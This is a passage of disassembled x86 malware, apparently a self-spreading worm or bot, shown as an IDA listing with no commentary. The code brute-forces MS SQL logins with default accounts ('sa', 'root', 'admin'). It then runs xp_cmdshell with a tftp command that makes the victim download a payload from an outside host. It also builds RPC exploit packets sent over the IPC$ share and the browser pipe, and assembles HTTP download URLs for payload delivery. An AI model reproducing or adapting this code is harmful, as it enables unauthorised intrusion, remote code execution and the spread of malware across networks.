		jmp	short loc_408FD1
; ---------------------------------------------------------------------------

loc_408FCC:				; CODE XREF: sub_408CC5+2FEj
		push	offset a8W	; "\\8\\\a\\Ò\\w"

loc_408FD1:				; CODE XREF: sub_408CC5+305j
		push	eax
		call	sub_40D820
		add	esp, 0Ch
		push	3Eh
		lea	eax, [esp+10h+arg_A22]
		push	offset dword_424940
		push	eax
		call	sub_40D820
		add	esp, 0Ch
		push	13h
		lea	eax, [esp+10h+arg_B42]
		push	offset dword_42488C
		push	eax
		call	sub_40D820
		add	esp, 0Ch
		push	172h
		lea	eax, [esp+10h+arg_33C]
		push	eax
		lea	eax, [esp+14h+arg_B54]
		push	eax
		call	sub_40D820
		add	esp, 0Ch
		push	0
		push	esi
		lea	eax, [esp+14h+arg_62C]
		push	eax
		push	edi
		call	ds:dword_41E248	; send
		cmp	eax, 0FFFFFFFFh
		push	edi
		jz	short loc_409094
		call	ds:dword_41E244	; closesocket
		cmp	byte ptr [esp+0Fh], 0
		jz	short loc_409066
		inc	dword ptr [esp+10h]
		cmp	dword ptr [esp+10h], 1
		mov	byte ptr [esp+0Fh], 0
		mov	dword ptr [esp+0Ch+arg_0], 3
		jle	loc_408DFA

loc_409066:				; CODE XREF: sub_408CC5+383j
		mov	eax, [esp+0Ch+arg_114]
		imul	eax, 2Ch
		lea	eax, dword_42452C[eax]
		inc	dword ptr [eax]
		mov	al, 1

loc_40907A:				; CODE XREF: sub_408CC5+3CCj
		mov	ecx, [esp+0Ch+arg_1E30]
		pop	edi
		pop	esi
		pop	ebx
		xor	ecx, esp
		call	sub_40AB4A
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_40908F:				; CODE XREF: sub_408CC5+146j
					; sub_408CC5+272j ...
		xor	al, al
		jmp	short loc_40907A
; ---------------------------------------------------------------------------

loc_409093:				; CODE XREF: sub_408CC5+185j
					; sub_408CC5+19Ej ...
		push	edi

loc_409094:				; CODE XREF: sub_408CC5+376j
		call	ds:dword_41E244	; closesocket
		jmp	short loc_40908F
sub_408CC5	endp

; ---------------------------------------------------------------------------
		push	ebp
		lea	ebp, [esp-0CD0h]
		sub	esp, 0D4Ch
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+0CCCh], eax
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	ecx
		xor	ebx, ebx
		xor	eax, eax
		mov	[ebp+0CBCh], bl
		lea	esi, [ebp+0CD8h]
		lea	edi, [ebp-54h]
		rep movsd
		lea	edi, [ebp+0CBDh]
		stosd
		stosd
		stosd
		stosw
		stosb
		lea	eax, [ebp-64h]
		push	eax
		push	ebx
		push	1
		mov	[ebp-56h], bl
		mov	dword ptr [ebp-7Ch], offset aSa	; "sa"
		mov	dword ptr [ebp-78h], offset aRoot ; "root"
		mov	dword ptr [ebp-74h], offset aAdmin ; "admin"
		mov	[ebp-70h], ebx
		mov	[ebp-55h], bl
		mov	[ebp-5Ch], ebx
		mov	[ebp-60h], ebx
		call	sub_40AA6A
		test	ax, ax
		jz	short loc_40912D

loc_409113:				; CODE XREF: .text:00409141j
		xor	al, al

loc_409115:				; CODE XREF: .text:00409162j
		mov	ecx, [ebp+0CCCh]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		add	ebp, 0CD0h
		leave
		retn
; ---------------------------------------------------------------------------

loc_40912D:				; CODE XREF: .text:00409111j
		push	0FFFFFFFAh
		push	3
		push	0C8h
		push	dword ptr [ebp-64h]
		call	sub_40AA5E
		test	ax, ax
		jnz	short loc_409113
		lea	eax, [ebp-5Ch]
		push	eax
		push	dword ptr [ebp-64h]
		push	2
		call	sub_40AA6A
		test	ax, ax
		jz	short loc_409164

loc_409156:				; CODE XREF: .text:00409283j
		push	dword ptr [ebp-64h]
		push	1
		call	sub_40AA70
		mov	al, bl
		jmp	short loc_409115
; ---------------------------------------------------------------------------

loc_409164:				; CODE XREF: .text:00409154j
		lea	ecx, [ebp-7Ch]
		mov	[ebp-68h], ecx

loc_40916A:				; CODE XREF: .text:00409259j
		xor	edi, edi
		cmp	off_424658, ebx
		jz	loc_40924E
		mov	esi, [ecx]
		mov	eax, offset off_424658

loc_40917F:				; CODE XREF: .text:004091F4j
		lea	ecx, [ebp-56h]
		push	ecx
		push	dword ptr [eax]
		push	esi
		push	dword ptr [ebp+0B4h]
		push	dword ptr [ebp+0B0h]
		call	ds:dword_41E274	; inet_ntoa
		push	eax
		lea	eax, [ebp+8BCh]
		push	offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
		push	eax
		call	sub_40CE48
		add	esp, 1Ch
		push	ebx
		lea	eax, [ebp-6Ch]
		push	eax
		push	400h
		lea	eax, [ebp+0BCh]
		push	eax
		lea	eax, [ebp+8BCh]
		push	eax
		call	sub_40C500
		pop	ecx
		push	eax
		lea	eax, [ebp+8BCh]
		push	eax
		push	ebx
		push	dword ptr [ebp-5Ch]
		call	sub_40AA64
		movzx	eax, ax
		cmp	ax, bx
		jz	short loc_4091F8
		cmp	ax, 1
		jz	short loc_4091F8
		inc	edi
		lea	eax, ds:424658h[edi*4]
		cmp	[eax], ebx
		jnz	short loc_40917F
		jmp	short loc_40924E
; ---------------------------------------------------------------------------

loc_4091F8:				; CODE XREF: .text:004091E2j
					; .text:004091E8j
		lea	eax, [ebp-60h]
		push	eax
		push	dword ptr [ebp-5Ch]
		push	3
		call	sub_40AA6A
		push	dword_426A3C
		lea	esi, [ebp+0CBCh]
		call	sub_402A2D
		mov	eax, esi
		push	eax
		lea	eax, [ebp+4BCh]
		push	offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'tftp -i %s GE"...
		push	eax
		call	sub_40CE48
		add	esp, 10h
		push	0FFFFFFFDh
		lea	eax, [ebp+4BCh]
		push	eax
		push	dword ptr [ebp-60h]
		call	sub_40AA76
		test	ax, ax
		jz	short loc_409261
		push	dword ptr [ebp-60h]
		push	3
		call	sub_40AA70

loc_40924E:				; CODE XREF: .text:00409172j
					; .text:004091F6j
		mov	ecx, [ebp-68h]
		add	ecx, 4
		cmp	[ecx], ebx
		mov	[ebp-68h], ecx
		jnz	loc_40916A
		jmp	short loc_409276
; ---------------------------------------------------------------------------

loc_409261:				; CODE XREF: .text:00409242j
		mov	eax, [ebp+0ACh]
		imul	eax, 2Ch
		lea	eax, dword_42452C[eax]
		inc	dword ptr [eax]
		mov	byte ptr [ebp-55h], 1

loc_409276:				; CODE XREF: .text:0040925Fj
		push	dword ptr [ebp-5Ch]
		push	2
		call	sub_40AA70
		mov	bl, [ebp-55h]
		jmp	loc_409156
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		mov	eax, 641Ch
		call	sub_41AF10
		mov	eax, dword_423068
		xor	eax, esp
		mov	[esp+6418h], eax
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	ecx
		lea	esi, [ebp+8]
		lea	edi, [esp+100h]
		rep movsd
		push	dword ptr [esp+204h]
		call	ds:dword_41E274	; inet_ntoa
		xor	ebx, ebx
		mov	[esp+28h], eax
		mov	[esp+18h], ebx

loc_4092CF:				; CODE XREF: .text:0040999Ej
		cmp	dword ptr [esp+18h], 2
		ja	loc_4099AD
		push	offset a_	; "."
		push	dword ptr [esp+2Ch]
		call	sub_40ACE3
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	edi, 2000h
		jz	short loc_40933F
		push	dword ptr [esp+28h]
		lea	eax, [esp+424h]
		push	offset aSIpc	; "\\\\%s\\ipc$"
		push	edi
		push	eax
		call	sub_40C634
		push	20h
		lea	eax, [esp+7Ch]
		push	ebx
		push	eax
		call	sub_40C6F0
		add	esp, 1Ch
		lea	eax, [esp+420h]
		mov	[esp+7Ch], eax
		push	ebx
		mov	eax, offset byte_4202A1
		push	eax
		push	eax
		lea	eax, [esp+74h]
		push	eax
		call	sub_40AA7C
		test	eax, eax
		jnz	loc_4099AD

loc_40933F:				; CODE XREF: .text:004092F1j
		push	dword ptr [esp+28h]
		lea	eax, [esp+2424h]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	edi
		push	eax
		call	sub_40C634
		add	esp, 10h
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		lea	eax, [esp+2438h]
		push	eax
		call	ds:off_41E05C
		cmp	eax, 0FFFFFFFFh
		mov	[esp+14h], eax
		jz	loc_4099AD
		push	48h
		lea	eax, [esp+0BCh]
		push	ebx
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		push	10h
		pop	eax
		push	eax
		mov	[esp+0C0h], eax
		xor	esi, esi
		lea	eax, [esp+0DCh]
		push	offset dword_421428
		inc	esi
		push	eax
		mov	byte ptr [esp+0C4h], 5
		mov	[esp+0C5h], bl
		mov	byte ptr [esp+0C6h], 0Bh
		mov	byte ptr [esp+0C7h], 3
		mov	word ptr [esp+0CCh], 48h
		mov	[esp+0CEh], bx
		mov	[esp+0D0h], ebx
		mov	word ptr [esp+0D4h], 10B8h
		mov	word ptr [esp+0D6h], 10B8h
		mov	[esp+0D8h], ebx
		mov	[esp+0DCh], esi
		mov	[esp+0E0h], bx
		mov	byte ptr [esp+0E2h], 1
		call	sub_40D820
		add	esp, 0Ch
		push	10h
		lea	eax, [esp+0F0h]
		push	offset dword_42143C
		push	eax
		mov	dword ptr [esp+0F4h], 3
		call	sub_40D820
		add	esp, 0Ch
		push	ebx
		lea	eax, [esp+68h]
		push	eax
		push	48h
		lea	eax, [esp+0C4h]
		push	eax
		push	dword ptr [esp+24h]
		mov	dword ptr [esp+110h], 2
		call	ds:off_41E078
		test	eax, eax
		jz	loc_4099A3
		push	ebx
		lea	eax, [esp+38h]
		push	eax
		push	edi
		lea	eax, [esp+442Ch]
		push	eax
		push	dword ptr [esp+24h]
		call	ds:off_41E068
		call	ds:dword_41E0EC	; GetTickCount
		push	eax
		call	sub_40D0E9
		pop	ecx
		push	14h
		lea	eax, [esp+0A8h]
		push	41h
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		push	1Ch
		lea	eax, [esp+8Ch]
		push	41h
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		call	sub_40D0F6
		cmp	[esp+18h], esi
		mov	[esp+0A4h], eax
		mov	[esp+0B0h], esi
		mov	[esp+0ACh], ebx
		mov	[esp+0A8h], esi
		mov	[esp+0B4h], bx
		jnz	short loc_409507
		push	4
		mov	[esp+98h], esi
		mov	[esp+90h], esi
		push	offset dword_421450
		jmp	short loc_409525
; ---------------------------------------------------------------------------

loc_409507:				; CODE XREF: .text:004094EEj
		cmp	[esp+18h], ebx
		jnz	short loc_40953C
		push	2
		pop	eax
		push	4
		mov	[esp+98h], eax
		mov	[esp+90h], eax
		push	offset loc_421458

loc_409525:				; CODE XREF: .text:00409505j
		lea	eax, [esp+0A0h]
		push	eax
		mov	[esp+9Ch], ebx
		call	sub_40D820
		add	esp, 0Ch

loc_40953C:				; CODE XREF: .text:0040950Bj
		call	sub_40D0F6
		cdq
		mov	esi, 0FAh
		mov	ecx, esi
		idiv	ecx
		inc	edx
		mov	[esp+88h], edx
		call	sub_40D0F6
		cdq
		idiv	esi
		mov	eax, [esp+18h]
		shl	eax, 4
		mov	esi, dword_424634[eax]
		push	esi
		mov	[esp+0A4h], ebx
		mov	[esp+30h], eax
		mov	[esp+24h], esi
		inc	edx
		mov	[esp+0A0h], edx
		call	sub_40D437
		mov	edi, eax
		cmp	edi, ebx
		pop	ecx
		mov	[esp+1Ch], edi
		jz	loc_4099A3
		lea	eax, [esi-2]
		push	eax
		push	90h
		push	edi
		call	sub_40C6F0
		add	esp, 0Ch
		push	2
		lea	eax, [edi+esi-2]
		push	ebx
		push	eax
		call	sub_40C6F0
		mov	eax, [esp+38h]
		mov	esi, dword_42463C[eax]
		add	esp, 0Ch
		push	7
		lea	eax, [esi+edi]
		push	offset dword_424628
		push	eax
		call	sub_40D820
		xor	eax, eax
		mov	[esp+21Ch], bl
		lea	edi, [esp+21Dh]
		stosd
		stosd
		stosd
		stosw
		stosb
		add	esp, 0Ch
		mov	edi, 0FFh
		push	edi
		lea	eax, [esp+325h]
		push	ebx
		add	esi, 7
		push	eax
		mov	[esp+30h], esi
		mov	[esp+32Ch], bl
		call	sub_40C6F0
		add	esp, 0Ch
		push	edi
		lea	eax, [esp+225h]
		push	ebx
		push	eax
		mov	[esp+22Ch], bl
		call	sub_40C6F0
		add	esp, 0Ch
		cmp	[esp+20Dh], bl
		jz	short loc_409652
		call	sub_402C36
		test	al, al
		jz	short loc_409652
		push	100h
		lea	esi, [esp+224h]
		mov	ebx, offset dword_4254B0
		call	sub_401ACE
		pop	ecx
		jmp	short loc_4096B9
; ---------------------------------------------------------------------------

loc_409652:				; CODE XREF: .text:0040962Ej
					; .text:00409637j
		push	dword_426A3C
		lea	esi, [esp+214h]
		call	sub_402A2D
		lea	esi, [esp+324h]
		mov	ebx, offset byte_425089
		mov	dword ptr [esp], 100h
		call	sub_401ACE
		pop	ecx
		mov	eax, esi
		push	eax
		push	dword_426614
		lea	eax, [esp+218h]
		push	eax
		push	offset aHttpSDS	; "http://%s:%d/%s"
		lea	eax, [esp+230h]
		push	edi
		push	eax
		call	sub_40C634
		lea	eax, [esp+238h]
		push	eax
		call	sub_40C500
		mov	byte ptr [esp+eax+23Ch], 0
		add	esp, 1Ch

loc_4096B9:				; CODE XREF: .text:00409650j
		lea	eax, [esp+220h]
		push	eax
		mov	edi, offset dword_4338C8
		mov	eax, edi
		call	sub_407D18
		test	eax, eax
		pop	ecx
		mov	[esp+30h], eax
		jz	loc_4099C4
		mov	ebx, offset dword_424620
		push	ebx
		push	eax
		push	edi
		push	1
		mov	esi, offset dword_433A40
		call	sub_407D75
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40970D
		push	ebx
		push	dword ptr [esp+34h]
		push	edi
		push	2
		call	sub_407D75
		add	esp, 10h
		test	eax, eax
		jz	loc_4099C4

loc_40970D:				; CODE XREF: .text:004096F3j
		dec	eax
		push	eax
		mov	eax, [esp+28h]
		push	esi
		mov	esi, [esp+24h]
		add	eax, esi
		push	eax
		call	sub_40D820
		mov	eax, [esp+38h]
		mov	ebx, dword_424638[eax]
		add	esp, 0Ch
		cmp	dword ptr [esp+18h], 1
		jnz	short loc_40977F
		push	4
		lea	eax, [ebx+esi]
		push	offset dword_433BD0
		push	eax
		call	sub_40D820
		add	esp, 0Ch
		push	4
		add	ebx, 0Ch
		mov	edi, offset dword_424650
		lea	eax, [ebx+esi]
		push	edi
		push	eax
		call	sub_40D820
		add	esp, 0Ch
		push	4
		lea	ebx, [ebx+esi+24h]
		push	edi
		push	ebx
		call	sub_40D820
		add	esp, 0Ch
		push	4
		push	edi
		add	ebx, 0Ch
		push	ebx
		call	sub_40D820
		add	esp, 0Ch
		jmp	short loc_4097A1
; ---------------------------------------------------------------------------

loc_40977F:				; CODE XREF: .text:00409732j
		cmp	dword ptr [esp+18h], 0
		jnz	short loc_4097A1
		push	10h
		add	ebx, esi
		pop	edi

loc_40978B:				; CODE XREF: .text:0040979Fj
		push	4
		push	offset dword_424650
		push	ebx
		call	sub_40D820
		add	esp, 0Ch
		add	ebx, 4
		dec	edi
		jnz	short loc_40978B

loc_4097A1:				; CODE XREF: .text:0040977Dj
					; .text:00409784j
		mov	edi, [esp+20h]
		lea	eax, [edi+42h]
		push	eax
		call	sub_40D437
		mov	ebx, eax
		test	ebx, ebx
		pop	ecx
		jz	loc_4099DA
		lea	eax, [edi+42h]
		push	eax
		push	0
		push	ebx
		call	sub_40C6F0
		add	esp, 0Ch
		push	14h
		lea	eax, [esp+0A8h]
		push	eax
		push	ebx
		call	sub_40D820
		mov	eax, edi
		test	eax, eax
		mov	[esp+2Ch], eax
		fild	dword ptr [esp+2Ch]
		jge	short loc_4097EC
		fadd	ds:flt_4215C8

loc_4097EC:				; CODE XREF: .text:004097E4j
		fmul	ds:dbl_4215C0
		add	esp, 4
		fstp	dword ptr [esp+28h]
		fld	dword ptr [esp+28h]
		fstp	qword ptr [esp]
		call	sub_40DE50
		fstp	dword ptr [esp+28h]
		fld	dword ptr [esp+28h]
		call	sub_41D576
		and	dword ptr [ebx+18h], 0
		push	edi
		mov	[ebx+1Ch], eax
		mov	[ebx+14h], eax
		lea	eax, [ebx+20h]
		push	esi
		push	eax
		call	sub_40D820
		lea	eax, [edi+20h]
		add	esp, 14h
		test	al, 3
		mov	[esp+24h], eax
		jz	short loc_40983E

loc_409835:				; CODE XREF: .text:00409838j
		inc	eax
		test	al, 3
		jnz	short loc_409835
		mov	[esp+24h], eax

loc_40983E:				; CODE XREF: .text:00409833j
		push	1Ch
		lea	ecx, [esp+8Ch]
		push	ecx
		add	eax, ebx
		push	eax
		call	sub_40D820
		add	dword ptr [esp+30h], 1Ch
		add	esp, 0Ch
		push	esi
		call	sub_40D35A
		pop	ecx
		push	18h
		xor	esi, esi
		lea	eax, [esp+3Ch]
		push	esi
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		push	14h
		lea	eax, [esp+54h]
		push	esi
		push	eax
		mov	byte ptr [esp+44h], 5
		mov	byte ptr [esp+45h], 0
		mov	byte ptr [esp+46h], 0
		mov	byte ptr [esp+47h], 3
		mov	dword ptr [esp+48h], 10h
		mov	[esp+4Eh], si
		mov	[esp+50h], esi
		mov	[esp+58h], si
		mov	word ptr [esp+5Ah], 1Fh
		call	sub_40C6F0
		add	esp, 0Ch
		push	esi
		push	esi
		push	1
		push	esi
		call	ds:off_41E088
		mov	[esp+60h], eax
		mov	byte ptr [esp+13h], 0
		mov	[esp+1Ch], esi

loc_4098CA:				; CODE XREF: .text:0040995Ej
		cmp	dword ptr [esp+1Ch], 2
		jge	loc_409968
		inc	dword ptr [esp+1Ch]
		push	1
		push	10B8h
		push	dword ptr [esp+2Ch]
		lea	esi, [esp+44h]
		push	ebx
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [esp+3Ch]
		rep movsd
		call	sub_405299
		add	esp, 2Ch
		test	al, al
		jz	short loc_409966
		cmp	dword ptr [esp+60h], 0
		jz	short loc_409957
		lea	eax, [esp+50h]
		push	eax
		lea	eax, [esp+38h]
		push	eax
		push	2000h
		lea	eax, [esp+442Ch]
		push	eax
		push	dword ptr [esp+24h]
		call	ds:off_41E068
		test	eax, eax
		jnz	short loc_40993C
		call	ds:dword_41E0D8	; RtlGetLastWin32Error
		cmp	eax, 3E5h
		jnz	short loc_409957

loc_40993C:				; CODE XREF: .text:0040992Dj
		push	3E8h
		push	dword ptr [esp+64h]
		call	ds:off_41E06C
		cmp	eax, 102h
		jnz	short loc_409957
		mov	byte ptr [esp+13h], 1

loc_409957:				; CODE XREF: .text:00409908j
					; .text:0040993Aj ...
		xor	esi, esi
		cmp	byte ptr [esp+13h], 0
		jz	loc_4098CA
		jmp	short loc_409968
; ---------------------------------------------------------------------------

loc_409966:				; CODE XREF: .text:00409901j
		xor	esi, esi

loc_409968:				; CODE XREF: .text:004098CFj
					; .text:00409964j
		push	dword ptr [esp+14h]
		mov	edi, ds:dword_41E0C4
		call	edi	; CloseHandle
		push	ebx
		call	sub_40D35A
		cmp	[esp+64h], esi
		pop	ecx
		jz	short loc_409987
		push	dword ptr [esp+60h]
		call	edi	; CloseHandle

loc_409987:				; CODE XREF: .text:0040997Fj
		cmp	byte ptr [esp+13h], 0
		jnz	short loc_4099E7
		cmp	[esp+18h], esi
		jnz	short loc_4099AD
		mov	dword ptr [esp+18h], 1
		xor	ebx, ebx
		jmp	loc_4092CF
; ---------------------------------------------------------------------------

loc_4099A3:				; CODE XREF: .text:0040946Dj
					; .text:0040958Ej
		push	dword ptr [esp+14h]
		call	ds:dword_41E0C4	; CloseHandle

loc_4099AD:				; CODE XREF: .text:004092D4j
					; .text:00409339j ...
		xor	al, al

loc_4099AF:				; CODE XREF: .text:004099FDj
		mov	ecx, [esp+6424h]
		pop	edi
		pop	esi
		pop	ebx
		xor	ecx, esp
		call	sub_40AB4A
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_4099C4:				; CODE XREF: .text:004096D4j
					; .text:00409707j
		push	dword ptr [esp+14h]
		call	ds:dword_41E0C4	; CloseHandle
		push	dword ptr [esp+1Ch]

loc_4099D2:				; CODE XREF: .text:004099E5j
		call	sub_40D35A
		pop	ecx
		jmp	short loc_4099AD
; ---------------------------------------------------------------------------

loc_4099DA:				; CODE XREF: .text:004097B3j
		push	dword ptr [esp+14h]
		call	ds:dword_41E0C4	; CloseHandle
		push	esi
		jmp	short loc_4099D2
; ---------------------------------------------------------------------------

loc_4099E7:				; CODE XREF: .text:0040998Cj
		mov	eax, [esp+200h]
		imul	eax, 2Ch
		lea	eax, dword_42452C[eax]
		inc	dword ptr [eax]
		mov	al, [esp+13h]
		jmp	short loc_4099AF

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4099FF	proc near		; CODE XREF: sub_409CC8+B7p

var_51C		= dword	ptr -51Ch
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= byte ptr -504h
var_501		= byte ptr -501h
var_390		= byte ptr -390h
var_38D		= byte ptr -38Dh
var_21C		= byte ptr -21Ch
var_21B		= byte ptr -21Bh
var_11C		= byte ptr -11Ch
var_11B		= byte ptr -11Bh
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 50Ch
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_50C], eax
		mov	eax, ds:dword_420EFC
		mov	[ebp+var_C], eax
		mov	eax, ds:dword_420F00
		mov	esi, offset dword_420F04
		lea	edi, [ebp+var_504]
		mov	ebx, 16Fh
		movsw
		push	ebx
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_501]
		push	0
		push	eax
		movsb
		call	sub_40C6F0
		mov	esi, offset dword_420F04
		lea	edi, [ebp+var_390]
		movsw
		movsb
		push	ebx
		xor	esi, esi
		lea	eax, [ebp+var_38D]
		push	esi
		push	eax
		call	sub_40C6F0
		xor	eax, eax
		mov	[ebp+var_1C], 0
		lea	edi, [ebp+var_1B]
		stosd
		stosd
		stosd
		stosw
		stosb
		mov	edi, 0FFh
		push	edi
		lea	eax, [ebp+var_21B]
		push	esi
		push	eax
		mov	[ebp+var_21C], 0
		call	sub_40C6F0
		push	edi
		lea	eax, [ebp+var_11B]
		push	esi
		push	eax
		mov	[ebp+var_11C], 0
		call	sub_40C6F0
		add	esp, 30h
		cmp	[ebp+arg_4], 0
		jz	short loc_409AD6
		call	sub_402C36
		test	al, al
		jz	short loc_409AD6
		push	100h
		lea	esi, [ebp+var_11C]
		mov	ebx, offset dword_4254B0
		call	sub_401ACE
		pop	ecx
		jmp	short loc_409B31
; ---------------------------------------------------------------------------

loc_409AD6:				; CODE XREF: sub_4099FF+B4j
					; sub_4099FF+BDj
		push	dword_426A3C
		lea	esi, [ebp+var_1C]
		call	sub_402A2D
		lea	esi, [ebp+var_21C]
		mov	ebx, offset byte_425089
		mov	[esp+51Ch+var_51C], 100h
		call	sub_401ACE
		mov	eax, esi
		push	eax
		push	dword_426614
		lea	eax, [ebp+var_1C]
		push	eax
		push	offset aHttpSDS	; "http://%s:%d/%s"
		lea	eax, [ebp+var_11C]
		push	edi
		push	eax
		call	sub_40C634
		lea	eax, [ebp+var_11C]
		push	eax
		call	sub_40C500
		mov	[ebp+eax+var_11C], 0
		add	esp, 20h

loc_409B31:				; CODE XREF: sub_4099FF+D5j
		lea	eax, [ebp+var_11C]
		push	eax
		lea	eax, [ebp+var_504]
		call	sub_407D18
		test	eax, eax
		pop	ecx
		mov	[ebp+var_508], eax
		jnz	short loc_409B55

loc_409B4E:				; CODE XREF: sub_4099FF+194j
		xor	eax, eax
		jmp	loc_409CB9
; ---------------------------------------------------------------------------

loc_409B55:				; CODE XREF: sub_4099FF+14Dj
		lea	ecx, [ebp+var_C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	2
		pop	ebx
		push	ebx
		lea	esi, [ebp+var_390]
		call	sub_407D75
		add	esp, 10h
		test	eax, eax
		jnz	short loc_409B95
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_508]
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	sub_407D75
		add	esp, 10h
		test	eax, eax
		jz	short loc_409B4E

loc_409B95:				; CODE XREF: sub_4099FF+176j
		mov	esi, [ebp+var_50C]
		push	4
		push	0
		push	esi
		call	sub_40C6F0
		push	24h
		push	offset dword_4245E8
		push	esi
		call	sub_40D820
		push	edi
		lea	eax, [esi+24h]
		push	61h
		push	eax
		call	sub_40C6F0
		mov	edi, 101h
		push	edi
		lea	eax, [esi+123h]
		push	62h
		push	eax
		call	sub_40C6F0
		push	ebx
		lea	eax, [esi+224h]
		push	1
		push	eax
		call	sub_40C6F0
		push	edi
		lea	eax, [esi+226h]
		push	22h
		push	eax
		call	sub_40C6F0
		add	esp, 48h
		push	ebx
		lea	eax, [esi+327h]
		push	1
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		and	[ebp+var_508], 0
		lea	ebx, [esi+42Ah]

loc_409C12:				; CODE XREF: sub_4099FF+24Aj
		mov	eax, [ebp+var_508]
		add	eax, 64h
		push	edi
		push	eax
		lea	eax, [ebx-101h]
		push	eax
		call	sub_40C6F0
		push	2
		push	1
		push	ebx
		call	sub_40C6F0
		add	esp, 18h
		inc	[ebp+var_508]
		add	ebx, 103h
		cmp	[ebp+var_508], 8
		jl	short loc_409C12
		push	25h
		lea	eax, [esi+0B41h]
		push	6Ch
		push	eax
		call	sub_40C6F0
		push	0Ah
		lea	eax, [esi+0B66h]
		push	offset dword_424610
		push	eax
		call	sub_40D820
		mov	edi, ds:off_41E090
		add	esp, 18h
		lea	eax, [ebp+var_390]
		push	eax
		call	edi ; sub_44229A
		push	eax
		lea	eax, [ebp+var_390]
		push	eax
		lea	eax, [esi+0B70h]
		push	eax
		call	sub_40D820
		add	esp, 0Ch
		lea	eax, [ebp+var_390]
		push	eax
		call	edi ; sub_44229A
		add	eax, 0B70h
		push	54Ah
		add	eax, esi
		push	6Dh
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		mov	eax, esi

loc_409CB9:				; CODE XREF: sub_4099FF+151j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		leave
		retn
sub_4099FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=12BCh


sub_409CC8	proc near		; DATA XREF: .data:004245B4o

var_133C	= byte ptr -133Ch
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1234	= dword	ptr -1234h
var_122F	= dword	ptr -122Fh
var_1228	= word ptr -1228h
var_1226	= word ptr -1226h
var_1224	= dword	ptr -1224h
var_1218	= byte ptr -1218h
var_1217	= byte ptr -1217h
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		lea	ebp, [esp-12BCh]
		mov	eax, 133Ch
		call	sub_41AF10
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+12BCh+var_4], eax
		push	esi
		push	edi
		push	44h
		pop	ecx
		lea	esi, [ebp+12BCh+arg_0]
		lea	edi, [ebp+12BCh+var_133C]
		rep movsd
		mov	esi, 1211h
		push	esi
		lea	eax, [ebp+12BCh+var_1217]
		push	0
		push	eax
		mov	[ebp+12BCh+var_1218], 0
		call	sub_40C6F0
		mov	eax, [ebp+12BCh+var_1238]
		add	esp, 0Ch
		push	[ebp+12BCh+var_1234]
		mov	[ebp+12BCh+var_1228], 2
		mov	[ebp+12BCh+var_1224], eax
		call	ds:dword_41E238	; htons
		push	6
		push	1
		push	2
		mov	[ebp+12BCh+var_1226], ax
		call	ds:dword_41E240	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_409D54

loc_409D50:				; CODE XREF: sub_409CC8+A8j
		xor	al, al
		jmp	short loc_409DBA
; ---------------------------------------------------------------------------

loc_409D54:				; CODE XREF: sub_409CC8+86j
		push	10h
		lea	eax, [ebp+12BCh+var_1228]
		push	eax
		push	edi
		call	ds:dword_41E258	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_409D72

loc_409D69:				; CODE XREF: sub_409CC8+C0j
		push	edi

loc_409D6A:				; CODE XREF: sub_409CC8+D7j
		call	ds:dword_41E244	; closesocket
		jmp	short loc_409D50
; ---------------------------------------------------------------------------

loc_409D72:				; CODE XREF: sub_409CC8+9Fj
		push	[ebp+12BCh+var_122F]
		lea	eax, [ebp+12BCh+var_1218]
		push	eax
		call	sub_4099FF
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_409D69
		push	0
		push	esi
		lea	eax, [ebp+12BCh+var_1218]
		push	eax
		push	edi
		call	ds:dword_41E248	; send
		cmp	eax, 0FFFFFFFFh
		push	edi
		jz	short loc_409D6A
		call	ds:dword_41E244	; closesocket
		mov	eax, [ebp+12BCh+var_123C]
		imul	eax, 2Ch
		lea	eax, dword_42452C[eax]
		inc	dword ptr [eax]
		mov	al, 1

loc_409DBA:				; CODE XREF: sub_409CC8+8Aj
		mov	ecx, [ebp+12BCh+var_4]
		pop	edi
		xor	ecx, ebp
		pop	esi
		call	sub_40AB4A
		add	ebp, 12BCh
		leave
		retn
sub_409CC8	endp

; ---------------------------------------------------------------------------
